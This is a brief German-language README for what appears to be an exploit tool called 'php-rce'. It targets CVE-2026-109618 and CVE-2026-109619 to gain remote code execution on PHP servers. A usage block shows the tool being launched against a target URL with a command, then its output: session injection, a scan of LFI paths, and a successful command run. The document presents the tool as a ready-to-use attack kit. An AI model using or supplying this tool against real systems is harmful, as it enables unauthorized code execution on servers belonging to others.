
Exploits für CVE-2026-109618 / CVE-2026-109619 zur Erreichung von RCE auf PHP-Zielen
Exploit für CVE-2026-109618 / CVE-2026-109619. Mehrere Exploits, um RCE auf verwundbaren PHP-Zielen zu erreichen.
** Verwendung
#+begin_src sh $ uv sync $ uv run php-rce --url http://target/index.php --cmd "hostname" target: http://target/index.php cmd: hostname
trying session_lfi ... injecting session + scanning 56 LFI paths... found at attempt 23
vulnerable-hostname #+end_src
** Exploits
Sie laufen sequenziell; der erste erfolgreiche führt den Befehl aus.